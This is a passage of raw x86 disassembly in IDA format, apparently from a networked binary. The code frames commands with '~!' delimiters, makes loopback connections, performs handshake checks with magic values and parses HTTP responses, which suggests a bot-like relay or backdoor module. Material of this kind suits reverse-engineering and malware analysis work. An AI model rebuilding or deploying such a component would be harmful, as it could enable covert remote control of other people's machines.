======================================= ; Attributes: bp-based frame sub_406231 proc near ; CODE XREF: sub_4065D1+83p ; sub_4065D1+A5p var_40 = byte ptr -40h var_30 = byte ptr -30h var_20 = byte ptr -20h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 40h push esi push edi push 8 push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_405B5A push 8 push [ebp+arg_4] lea ecx, [ebp+var_20] call sub_405B5A xor edi, edi xor esi, esi cmp [ebp+arg_C], edi jbe short loc_4062A0 loc_40625C: ; CODE XREF: sub_406231+6Dj mov eax, [ebp+arg_8] push 8 add eax, esi push eax lea ecx, [ebp+var_30] call sub_405B5A lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_40] push eax call sub_40615C push 4 lea eax, [ebp+var_40] push eax mov eax, [ebp+arg_10] add eax, edi push eax call sub_40CCF7 add esi, 8 add esp, 1Ch add edi, 4 cmp esi, [ebp+arg_C] jb short loc_40625C loc_4062A0: ; CODE XREF: sub_406231+29j mov eax, edi pop edi pop esi leave retn sub_406231 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4062A6 proc near ; DATA XREF: sub_406E37+188o var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov esi, ecx loc_4062B0: ; CODE XREF: sub_4062A6+D5j cmp byte ptr [esi+0A0h], 0 jz loc_406366 mov ecx, [esi+4] mov eax, [ecx] call dword ptr [eax+20h] lea edi, [esi+0B4h] push edi mov [ebp+var_8], eax call ds:dword_4180DC mov ecx, esi call sub_4049A1 push edi mov bl, al call ds:dword_4180E0 test bl, bl jnz short loc_4062FC push [ebp+var_8] mov ecx, esi push 7F000001h call sub_404552 test al, al jz short loc_406366 loc_4062FC: ; CODE XREF: sub_4062A6+41j cmp byte ptr [esi+78h], 0 jz short loc_40631D lea ecx, [ebp+var_4] call sub_40DB48 lea eax, [ebp+var_4] push eax mov ecx, esi call sub_403AA0 lea ecx, [ebp+var_4] call sub_40DB59 loc_40631D: ; CODE XREF: sub_4062A6+5Aj ; sub_4062A6+B7j lea edi, [esi+0ACh] push edi mov ecx, esi call sub_403B7F mov ecx, esi call sub_403DE0 cmp byte ptr [esi+0A0h], 0 jz short loc_40635F push dword ptr [esi+9Ch] mov ecx, esi call sub_403ED0 test al, al jz short loc_40635F push 1 push 0DBBA0h push dword ptr [edi] call ds:dword_4180B0 test eax, eax jnz short loc_40631D loc_40635F: ; CODE XREF: sub_4062A6+93j ; sub_4062A6+A4j mov ecx, esi call sub_40426A loc_406366: ; CODE XREF: sub_4062A6+11j ; sub_4062A6+54j push 1 push 0EA60h push dword ptr [esi+0ACh] call ds:dword_4180B0 test eax, eax jnz loc_4062B0 pop edi pop esi pop ebx leave retn 4 sub_4062A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406388 proc near ; CODE XREF: sub_406548+4Bp var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov edi, ecx mov ecx, [edi+4] mov eax, [ecx] call dword ptr [eax+14h] mov ecx, [edi+4] mov esi, eax mov eax, [ecx] call dword ptr [eax+20h] and [ebp+var_6], 0 movzx eax, ax mov [ebp+var_8], ax mov [ebp+var_C], si lea eax, [ebp+var_C] push 8 shr esi, 10h push eax mov [ebp+var_A], si call sub_4059EE mov [ebp+var_1], al lea eax, [ebp+var_C] push 8 push eax call sub_4059D5 mov edi, [ebp+arg_0] xor ecx, ecx mov ch, al push 10h push 0 push edi mov cl, [ebp+var_1] mov [ebp+var_6], cx call sub_40CCD9 push 0 call sub_40CFAE push eax call sub_40CF2A add esp, 24h xor esi, esi loc_4063FE: ; CODE XREF: sub_406388+A9j call sub_40CF34 and al, 0F0h mov [esi+edi], al xor edx, edx mov byte ptr [ebp+arg_0+3], al loc_40640D: ; CODE XREF: sub_406388+9Dj mov ax, [ebp+edx*2+var_C] mov cx, si shr ax, cl mov ecx, edx and al, 1 shl al, cl or byte ptr [ebp+arg_0+3], al inc edx cmp edx, 4 jl short loc_40640D mov al, byte ptr [ebp+arg_0+3] mov [esi+edi], al inc esi cmp esi, 10h jl short loc_4063FE push 10h push edi call sub_405A07 pop ecx pop ecx pop edi pop esi leave retn 4 sub_406388 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406443 proc near ; CODE XREF: sub_40694B+B8p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi call sub_40CF34 mov esi, eax shl esi, 10h call sub_40CF34 push 1Eh pop edi lea ecx, [ebp+var_4] push ecx or eax, esi mov esi, [ebp+arg_0] push 4 lea ecx, [ebp+var_8] mov [ebp+var_8], eax mov eax, [esi] push ecx mov ecx, esi mov [ebp+var_4], edi call dword ptr [eax+8] mov eax, [esi] lea ecx, [ebp+var_4] push ecx push 4 lea ecx, [ebp+var_C] push ecx mov ecx, esi mov [ebp+var_4], edi call dword ptr [eax+4] cmp eax, 4 pop edi pop esi jz short loc_406498 xor al, al jmp short locret_4064A6 ; --------------------------------------------------------------------------- loc_406498: ; CODE XREF: sub_406443+4Fj mov eax, [ebp+var_8] xor eax, [ebp+arg_4] sub eax, [ebp+var_C] neg eax sbb eax, eax inc eax locret_4064A6: ; CODE XREF: sub_406443+53j leave retn 8 sub_406443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064AA proc near ; DATA XREF: .rdata:0041BDE8o var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx lea ecx, [esi-94h] mov [ebp+var_8], ecx call sub_40428C test al, al jz short loc_406543 push ebx push edi lea ecx, [ebp+var_4] call sub_40DB48 xor ebx, ebx push ebx push offset dword_41BDD4 lea ecx, [ebp+var_4] call sub_40DBA2 push dword ptr [esi-24h] lea ecx, [ebp+var_4] call sub_40DBF8 push ebx mov edi, offset asc_41BCC0 ; "~!" push edi lea ecx, [ebp+var_4] call sub_40DBA2 push 23h lea ecx, [ebp+var_4] call sub_40DBF8 push ebx push edi lea ecx, [ebp+var_4] call sub_40DBA2 cmp [esi-1Bh], bl mov eax, offset a1 ; "1" jnz short loc_40651B mov eax, offset a0 ; "0" loc_40651B: ; CODE XREF: sub_4064AA+6Aj push ebx push eax lea ecx, [ebp+var_4] call sub_40DBA2 mov ecx, [ebp+var_8] push ebx push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_4048D8 lea ecx, [ebp+var_4] mov bl, al call sub_40DB59 pop edi mov al, bl pop ebx loc_406543: ; CODE XREF: sub_4064AA+18j pop esi leave retn 4 sub_4064AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406548 proc near ; CODE XREF: sub_406B31+1Bp var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov al, [ebp+arg_8] sub esp, 10h neg al push ebx push esi push edi mov esi, ecx sbb eax, eax and eax, 0FFFFF894h add eax, 76Ch push eax push [ebp+arg_4] lea eax, [ebp+var_10] push [ebp+arg_0] push eax call sub_405D38 lea edi, [esi+0A8h] cmp dword ptr [edi], 0 jnz short loc_406598 push 10h call sub_40D0BB pop ecx push eax mov ecx, edi call sub_408034 push dword ptr [edi] mov ecx, esi call sub_406388 loc_406598: ; CODE XREF: sub_406548+35j lea ebx, [esi+0B4h] push ebx call ds:dword_4180DC mov ecx, [esi+4] mov eax, [ecx] push 0B4h push 14h push offset dword_41BDD8 push dword ptr [edi] lea edx, [ebp+var_10] push edx call dword ptr [eax+8] push ebx mov esi, eax call ds:dword_4180E0 pop edi mov eax, esi pop esi pop ebx leave retn 0Ch sub_406548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4065D1 proc near ; CODE XREF: sub_40694B+193p var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi mov edi, [ebp+arg_0] mov eax, [edi] mov esi, ecx lea ecx, [ebp+var_C] push ecx push 8 lea ecx, [ebp+var_1C] push ecx mov ecx, edi mov [ebp+var_C], 1Eh call dword ptr [eax+4] cmp eax, 8 jnz loc_4066AD mov eax, [edi] lea ecx, [ebp+var_C] push ecx push 4 lea ecx, [ebp+var_8] push ecx mov ecx, edi call dword ptr [eax+4] cmp eax, 4 jnz loc_4066AD push [ebp+var_8] call sub_40D0BB pop ecx lea ecx, [ebp+var_C] push ecx push [ebp+var_8] mov ebx, eax mov eax, [edi] push ebx mov ecx, edi mov [ebp+var_4], ebx call dword ptr [eax+4] cmp [ebp+var_8], eax jz short loc_406643 test ebx, ebx jz short loc_4066AD push ebx jmp short loc_4066A7 ; --------------------------------------------------------------------------- loc_406643: ; CODE XREF: sub_4065D1+69j lea eax, [ebp+var_14] push eax push 8 push ebx mov edi, offset dword_421AC8 lea eax, [ebp+var_1C] push edi push eax call sub_406231 mov ebx, [ebp+var_8] add ebx, 0FFFFFFF8h push ebx call sub_40D0BB push eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] push ebx add eax, 8 push eax lea eax, [ebp+var_1C] push edi push eax call sub_406231 push ebx push [ebp+arg_0] push [ebp+var_14] call sub_405A69 mov ebx, eax add esp, 38h test ebx, ebx jnz short loc_4066B4 cmp [ebp+arg_0], eax jz short loc_40669E push [ebp+arg_0] call sub_40D0B6 pop ecx loc_40669E: ; CODE XREF: sub_4065D1+C2j cmp [ebp+var_4], 0 jz short loc_4066AD push [ebp+var_4] loc_4066A7: ; CODE XREF: sub_4065D1+70j call sub_40D0B6 pop ecx loc_4066AD: ; CODE XREF: sub_4065D1+29j ; sub_4065D1+43j ... xor al, al jmp loc_406755 ; --------------------------------------------------------------------------- loc_4066B4: ; CODE XREF: sub_4065D1+BDj push 6 xor edx, edx pop ecx div ecx mov [esi+11Ch], eax mov edi, eax call sub_40CF34 xor edx, edx div edi xor ecx, ecx push 6 mov eax, edi mov [esi+120h], edx pop edx mul edx seto cl neg ecx or ecx, eax push ecx call sub_40D0BB pop ecx lea edi, [esi+118h] push eax mov ecx, edi call sub_408034 push ebx push [ebp+arg_0] push dword ptr [edi] call sub_40CCF7 xor ebx, ebx add esp, 0Ch cmp [esi+11Ch], ebx jbe short loc_406735 mov [ebp+var_10], ebx loc_406712: ; CODE XREF: sub_4065D1+162j mov eax, [edi] mov ecx, [ebp+var_10] add eax, ecx movzx ecx, word ptr [eax+4] push ecx push dword ptr [eax] lea ecx, [ebp+var_2C] call sub_401219 add [ebp+var_10], 6 inc ebx cmp ebx, [esi+11Ch] jb short loc_406712 loc_406735: ; CODE XREF: sub_4065D1+13Cj cmp [ebp+arg_0], 0 jz short loc_406744 push [ebp+arg_0] call sub_40D0B6 pop ecx loc_406744: ; CODE XREF: sub_4065D1+168j cmp [ebp+var_4], 0 jz short loc_406753 push [ebp+var_4] call sub_40D0B6 pop ecx loc_406753: ; CODE XREF: sub_4065D1+177j mov al, 1 loc_406755: ; CODE XREF: sub_4065D1+DEj pop edi pop esi pop ebx leave retn 4 sub_4065D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40675C proc near ; CODE XREF: sub_40694B+12Bp var_10 = byte ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push esi mov esi, [ebp+arg_0] movzx eax, word ptr [esi+4] push edi push eax push dword ptr [esi] mov edi, ecx lea ecx, [ebp+var_10] call sub_401219 push [ebp+var_C] call ds:dword_4181AC xor ecx, ecx push ecx push ecx push 3 push ecx movzx ecx, word ptr [esi+4] push offset aAnonymous ; "anonymous" push ecx push eax push dword ptr [edi+124h] call ds:dword_418160 pop edi pop esi leave retn 4 sub_40675C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4067A5 proc near ; DATA XREF: .rdata:off_41BDE4o var_14 = byte ptr -14h var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx lea ecx, [ebp+var_14] xor ebx, ebx call sub_40DD7C push 3 push 50h push [ebp+arg_0] lea ecx, [ebp+var_14] call sub_40123F test eax, eax jle short loc_406801 push ebx push 1 lea eax, [ebp+arg_0+3] push eax lea ecx, [ebp+var_14] mov byte ptr [ebp+arg_0+3], bl call sub_40DDB5 lea eax, [ebp+var_8] push eax push 1 lea eax, [ebp+var_1] push eax lea ecx, [ebp+var_14] mov [ebp+var_8], 3 call sub_40DE7D cmp eax, 1 jnz short loc_406801 cmp [ebp+var_1], 0E3h jnz short loc_406801 mov bl, al loc_406801: ; CODE XREF: sub_4067A5+22j ; sub_4067A5+52j ... lea ecx, [ebp+var_14] call sub_40DD92 mov al, bl pop ebx leave retn 4 sub_4067A5 endp ; =============== S U B R O U T I N E ======================================= sub_406810 proc near ; CODE XREF: sub_4068A2+62p push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_40682B mov ecx, edi call sub_416130 push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_40682B: ; CODE XREF: sub_406810+8j pop edi pop esi retn sub_406810 endp ; =============== S U B R O U T I N E ======================================= sub_40682E proc near ; CODE XREF: sub_406E37+1E6p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, ecx mov esi, [edi] test esi, esi jz short loc_40684F cmp ebx, esi jz short loc_40684F mov ecx, esi call sub_416130 push esi call sub_40D0B6 pop ecx loc_40684F: ; CODE XREF: sub_40682E+Dj ; sub_40682E+11j mov [edi], ebx pop edi pop esi mov eax, ebx pop ebx retn 4 sub_40682E endp ; =============== S U B R O U T I N E ======================================= sub_406859 proc near ; CODE XREF: sub_4068A2+57p push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_406874 mov ecx, edi call sub_4169EF push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_406874: ; CODE XREF: sub_406859+8j pop edi pop esi retn sub_406859 endp ; =============== S U B R O U T I N E ======================================= sub_406877 proc near ; CODE XREF: sub_406E37+224p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, ecx mov esi, [edi] test esi, esi jz short loc_406898 cmp ebx, esi jz short loc_406898 mov ecx, esi call sub_4169EF push esi call sub_40D0B6 pop ecx loc_406898: ; CODE XREF: sub_406877+Dj ; sub_406877+11j mov [edi], ebx pop edi pop esi mov eax, ebx pop ebx retn 4 sub_406877 endp ; =============== S U B R O U T I N E ======================================= sub_4068A2 proc near ; CODE XREF: sub_406BAB+3p push esi mov esi, ecx push edi push dword ptr [esi+0ACh] mov dword ptr [esi], offset off_41BDEC mov dword ptr [esi+94h], offset off_41BDE4 mov dword ptr [esi+98h], offset off_41BDDC call ds:dword_4180A8 lea ecx, [esi+0E8h] call sub_40B150 lea ecx, [esi+0D0h] call sub_40B150 mov eax, [esi+124h] test eax, eax jz short loc_4068F3 push eax call ds:dword_41817C loc_4068F3: ; CODE XREF: sub_4068A2+48j lea ecx, [esi+12Ch] call sub_406859 lea ecx, [esi+128h] call sub_406810 lea ecx, [esi+118h] call sub_4093F0 lea eax, [esi+0B4h] push eax call ds:dword_4180D8 push dword ptr [esi+0B0h] mov edi, ds:dword_4180A4 call edi push dword ptr [esi+0ACh] call edi lea ecx, [esi+0A8h] call sub_4093F0 pop edi mov ecx, esi pop esi jmp sub_403DAE sub_4068A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40694B proc near ; DATA XREF: sub_406E37+1A5o var_24 = word ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi push 0Ch mov esi, ecx call sub_40D0BB test eax, eax pop ecx jz short loc_406970 mov ecx, eax call sub_40DD7C mov ebx, eax mov [ebp+var_8], ebx jmp short loc_406977 ; --------------------------------------------------------------------------- loc_406970: ; CODE XREF: sub_40694B+15j and [ebp+var_8], 0 mov ebx, [ebp+var_8] loc_406977: ; CODE XREF: sub_40694B+23j mov ecx, [esi+4] mov eax, [ecx] call dword ptr [eax+20h] mov edi, eax jmp short loc_406997 ; --------------------------------------------------------------------------- loc_406983: ; CODE XREF: sub_40694B+59j cmp dword ptr [ebx+8], 2740h jnz short loc_4069B7 push 2710h call ds:dword_4180C8 loc_406997: ; CODE XREF: sub_40694B+36j push 0 push edi mov ecx, ebx call sub_40DA80 cmp eax, 0FFFFFFFFh jz short loc_406983 push 7FFFFFFFh mov ecx, ebx call sub_40D793 jmp loc_406B06 ; --------------------------------------------------------------------------- loc_4069B7: ; CODE XREF: sub_40694B+3Fj mov ecx, esi call sub_40387F jmp loc_406B22 ; --------------------------------------------------------------------------- loc_4069C3: ; CODE XREF: sub_40694B+1CDj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_24] push eax push 1 mov ecx, ebx mov [ebp+var_24], 2 mov [ebp+var_10], 10h call sub_40DF85 mov edi, eax test edi, edi jz loc_406B06 mov al, [esi+0A0h] neg al mov ecx, esi sbb eax, eax and eax, 0BCBBEACCh add eax, 8A35EE72h push eax push edi call sub_406443 test al, al jz loc_406AFE cmp byte ptr [esi+0A0h], 0 jz loc_406ADB mov eax, [edi] lea ecx, [ebp+var_C] push ecx push 1 lea ecx, [ebp+var_1] push ecx mov ecx, edi mov [ebp+var_C], 0Ah call dword ptr [eax+4] cmp eax, 1 jnz loc_406AFE cmp [ebp+var_1], 4Bh jnz loc_406AFE cmp byte ptr [esi+0A0h], 0 jz loc_406ADB and [ebp+var_C], 0 cmp dword ptr [esi+11Ch], 0 mov ebx, [esi+120h] jbe short loc_406A9D loc_406A68: ; CODE XREF: sub_40694B+150j mov eax, ebx imul eax, 6 add eax, [esi+118h] mov ecx, esi push eax call sub_40675C test eax, eax mov [ebp+var_14], eax jnz short loc_406AB5 lea eax, [ebx+1] xor edx, edx div dword ptr [esi+11Ch] inc [ebp+var_C] mov eax, [ebp+var_C] cmp eax, [esi+11Ch] mov ebx, edx jb short loc_406A68 loc_406A9D: ; CODE XREF: sub_40694B+11Bj push dword ptr [esi+0B0h] mov byte ptr [esi+0A0h], 0 call ds:dword_4180A8 loc_406AB0: ; CODE XREF: sub_40694B+18Ej mov ebx, [ebp+var_8] jmp short loc_406AFA ; --------------------------------------------------------------------------- loc_406AB5: ; CODE XREF: sub_40694B+135j push 1038h call sub_40D0BB test eax, eax pop ecx jz short loc_406AD3 push [ebp+var_14] mov edx, edi push edx mov ecx, eax xor edi, edi call sub_40856C loc_406AD3: ; CODE XREF: sub_40694B+177j mov [esi+120h], ebx jmp short loc_406AB0 ; --------------------------------------------------------------------------- loc_406ADB: ; CODE XREF: sub_40694B+CCj ; sub_40694B+104j push edi mov ecx, esi call sub_4065D1 test al, al jz short loc_406AFA push dword ptr [esi+0B0h] mov byte ptr [esi+0A0h], 1 call ds:dword_4180A8 loc_406AFA: ; CODE XREF: sub_40694B+168j ; sub_40694B+19Aj test edi, edi jz short loc_406B06 loc_406AFE: ; CODE XREF: sub_40694B+BFj ; sub_40694B+EDj ... mov eax, [edi] push 1 mov ecx, edi call dword ptr [eax] loc_406B06: ; CODE XREF: sub_40694B+67j ; sub_40694B+9Aj ... push 1 push 0 push dword ptr [esi+0ACh] call ds:dword_4180B0 test eax, eax jnz loc_4069C3 test ebx, ebx jz short loc_406B2A loc_406B22: ; CODE XREF: sub_40694B+73j mov eax, [ebx] push 1 mov ecx, ebx call dword ptr [eax] loc_406B2A: ; CODE XREF: sub_40694B+1D5j pop edi pop esi pop ebx leave retn 4 sub_40694B endp ; =============== S U B R O U T I N E ======================================= sub_406B31 proc near ; CODE XREF: sub_406BC7+Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi xor edi, edi mov esi, ecx xor ebx, ebx loc_406B3A: ; CODE XREF: sub_406B31+34j push [esp+0Ch+arg_4] movzx eax, byte ptr [esi+0A4h] push [esp+10h+arg_0] mov ecx, esi push eax call sub_406548 test eax, eax jg short loc_406B69 push 7530h inc edi call ds:dword_4180C8 inc ebx cmp ebx, 5 jl short loc_406B3A jmp short loc_406B6B ; --------------------------------------------------------------------------- loc_406B69: ; CODE XREF: sub_406B31+22j xor edi, edi loc_406B6B: ; CODE XREF: sub_406B31+36j test edi, edi jz short loc_406B76 mov ecx, esi call sub_40387F loc_406B76: ; CODE XREF: sub_406B31+3Cj pop edi pop esi pop ebx retn 8 sub_406B31 endp ; =============== S U B R O U T I N E ======================================= sub_406B7C proc near ; CODE XREF: sub_406CFE+B3p ; sub_4094E6+2Bp arg_0 = dword ptr 4 push esi mov esi, ecx cmp dword ptr [esi], 0 push edi jz short loc_406B8A call sub_401F70 loc_406B8A: ; CODE XREF: sub_406B7C+7j mov edi, [esp+8+arg_0] mov eax, edi shl eax, 2 push 1 push eax call sub_40CA2C test eax, eax pop ecx pop ecx mov [esi], eax jz short loc_406BA6 mov [esi+4], edi loc_406BA6: ; CODE XREF: sub_406B7C+25j pop edi pop esi retn 4 sub_406B7C endp ; =============== S U B R O U T I N E ======================================= sub_406BAB proc near ; DATA XREF: .rdata:off_41BDECo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4068A2 test [esp+4+arg_0], 1 jz short loc_406BC1 push esi call sub_40D0B6 pop ecx loc_406BC1: ; CODE XREF: sub_406BAB+Dj mov eax, esi pop esi retn 4 sub_406BAB endp ; =============== S U B R O U T I N E ======================================= sub_406BC7 proc near ; CODE XREF: sub_406DF2+24p arg_0 = dword ptr 4 push esi push edi mov edi, ecx or esi, 0FFFFFFFFh loc_406BCE: ; CODE XREF: sub_406BC7+17j push [esp+8+arg_0] mov ecx, edi push esi call sub_406B31 inc esi cmp esi, 2 jl short loc_406BCE pop edi pop esi retn 4 sub_406BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406BE5 proc near ; DATA XREF: .rdata:0041BDE0o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov edi, ecx xor ebx, ebx lea ecx, [ebp+var_8] mov [ebp+var_1], bl call sub_40DB48 push ebx push offset a8 ; "8~!" lea ecx, [ebp+var_8] call sub_40DBA2 push dword ptr [edi-28h] lea ecx, [ebp+var_8] call sub_40DBF8 push ebx mov esi, offset asc_41BCC0 ; "~!" push esi lea ecx, [ebp+var_8] call sub_40DBA2 push 23h lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 cmp [ebp+arg_4], ebx mov eax, offset a0 ; "0" jz short loc_406C48 mov eax, offset a1 ; "1" loc_406C48: ; CODE XREF: sub_406BE5+5Cj push ebx push eax lea ecx, [ebp+var_8] call sub_40DBA2 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 mov eax, [ebp+arg_0] push ebx push dword ptr [eax] lea ecx, [ebp+var_8] call sub_40DBA2 mov ecx, [edi-94h] mov eax, [ecx] call dword ptr [eax+20h] push eax lea esi, [edi-98h] push 7F000001h mov ecx, esi call sub_404205 mov edi, eax cmp edi, ebx jz short loc_406CEC push edi lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax mov ecx, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx call sub_4048D8 test al, al jz short loc_406CD0 cmp [ebp+arg_4], ebx jz short loc_406CCC push offset aHttp ; "HTTP/" push [ebp+var_10] call sub_40CE77 test eax, eax pop ecx pop ecx jz short loc_406CD0 mov ecx, [ebp+arg_4] lea eax, [ebp+var_10] push eax call sub_4045A0 loc_406CCC: ; CODE XREF: sub_406BE5+C6j mov [ebp+var_1], 1 loc_406CD0: ; CODE XREF: sub_406BE5+C1j ; sub_406BE5+D9j mov eax, [ebp+var_10] cmp eax, ebx jz short loc_406CE4 push eax mov [ebp+var_10], ebx mov [ebp+var_C], ebx call sub_40CCC5 pop ecx loc_406CE4: ; CODE XREF: sub_406BE5+F0j mov eax, [edi] push 1 mov ecx, edi call dword ptr [eax] loc_406CEC: ; CODE XREF: sub_406BE5+A7j lea ecx, [ebp+var_8] call sub_40DB59 mov al, [ebp+var_1] pop edi pop esi pop ebx leave retn 8 sub_406BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CFE proc near ; DATA XREF: .rdata:off_41BDDCo var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi mov esi, ecx xor ebx, ebx lea ecx, [ebp+var_8] mov [ebp+var_1], bl call sub_40DB48 push ebx push offset a10 ; "10~!" lea ecx, [ebp+var_8] call sub_40DBA2 push dword ptr [esi-28h] lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push offset asc_41BCC0 ; "~!" lea ecx, [ebp+var_8] call sub_40DBA2 push 23h lea ecx, [ebp+var_8] call sub_40DBF8 push ebx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] push eax lea ecx, [esi-98h] mov [ebp+var_14], ebx mov [ebp+var_10], ebx call sub_4048D8 test al, al jz short loc_406DD9 push 4 push [ebp+var_14] lea eax, [ebp+var_C] push eax call sub_40CCF7 mov eax, [ebp+var_10] lea ecx, [eax-4] mov eax, [ebp+var_C] mov edx, eax shl edx, 2 add esp, 0Ch cmp edx, ecx jbe short loc_406DAB mov eax, [ebp+var_14] cmp eax, ebx jz short loc_406D9B push eax mov [ebp+var_14], ebx mov [ebp+var_10], ebx call sub_40CCC5 pop ecx loc_406D9B: ; CODE XREF: sub_406CFE+8Ej ; sub_406CFE+F2j lea ecx, [ebp+var_8] call sub_40DB59 pop esi mov al, bl pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_406DAB: ; CODE XREF: sub_406CFE+87j mov esi, [ebp+arg_0] push eax mov ecx, esi call sub_406B7C mov eax, [ebp+var_14] add eax, 4 xor ecx, ecx cmp [ebp+var_C], ebx jbe short loc_406DD5 push edi loc_406DC4: ; CODE XREF: sub_406CFE+D4j mov edi, [eax] mov edx, [esi] mov [edx+ecx*4], edi add eax, 4 inc ecx cmp ecx, [ebp+var_C] jb short loc_406DC4 pop edi loc_406DD5: ; CODE XREF: sub_406CFE+C3j mov [ebp+var_1], 1 loc_406DD9: ; CODE XREF: sub_406CFE+64j mov eax, [ebp+var_14] cmp eax, ebx jz short loc_406DED push eax mov [ebp+var_14], ebx mov [ebp+var_10], ebx call sub_40CCC5 pop ecx loc_406DED: ; CODE XREF: sub_406CFE+E0j mov bl, [ebp+var_1] jmp short loc_406D9B sub_406CFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406DF2 proc near ; DATA XREF: sub_406E37+169o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx mov eax, [esi+0ACh] mov [ebp+var_8], eax mov eax, [esi+0B0h] mov [ebp+var_4], eax loc_406E0C: ; CODE XREF: sub_406DF2+3Ej movzx eax, byte ptr [esi+0A0h] push eax mov ecx, esi call sub_406BC7 push 0DBBA0h push 0 lea eax, [ebp+var_8] push eax push 2 call ds:dword_418128 test eax, eax jnz short loc_406E0C pop esi leave retn 4 sub_406DF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E37 proc near ; CODE XREF: sub_403389+F7p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi push 1 push [ebp+arg_8] mov esi, ecx push [ebp+arg_4] push [ebp+arg_0] call sub_403CCB lea eax, [esi+94h] mov dword ptr [eax], offset off_41BDCC lea ecx, [esi+98h] mov dword ptr [ecx], offset off_41BDCC xor ebx, ebx mov dword ptr [ecx], offset off_41BDDC mov dword ptr [esi], offset off_41BDEC mov dword ptr [eax], offset off_41BDE4 mov [esi+9Ch], ebx mov [esi+0A0h], bl push 1 lea ecx, [esi+0ACh] mov [esi+0A8h], ebx call sub_4012FC push ebx lea ecx, [esi+0B0h] call sub_4012FC lea eax, [esi+0B4h] push eax call ds:dword_4180D4 lea edi, [esi+0D0h] mov [edi+14h], ebx mov [edi+8], ebx mov [edi+4], ebx xor eax, eax mov [edi+10h], eax lea eax, [esi+0E8h] mov [eax+14h], ebx mov [eax+8], ebx mov [eax+4], ebx xor ecx, ecx mov [eax+10h], ecx lea eax, [esi+100h] mov [eax+10h], ecx mov [eax+14h], ebx mov [eax+8], ebx mov [eax+4], ebx mov [esi+118h], ebx mov [esi+11Ch], ebx mov [esi+120h], ebx push ebx mov [esi+128h], ebx push offset dword_421D04 mov [esi+12Ch], ebx call ds:dword_4180F0 push 4 lea eax, [ebp+arg_8] push eax push 49h push ebx mov [ebp+arg_8], 0FFh call ds:dword_418174 push 4 lea eax, [ebp+arg_8] push eax push 4Ah push ebx call ds:dword_418174 push ebx 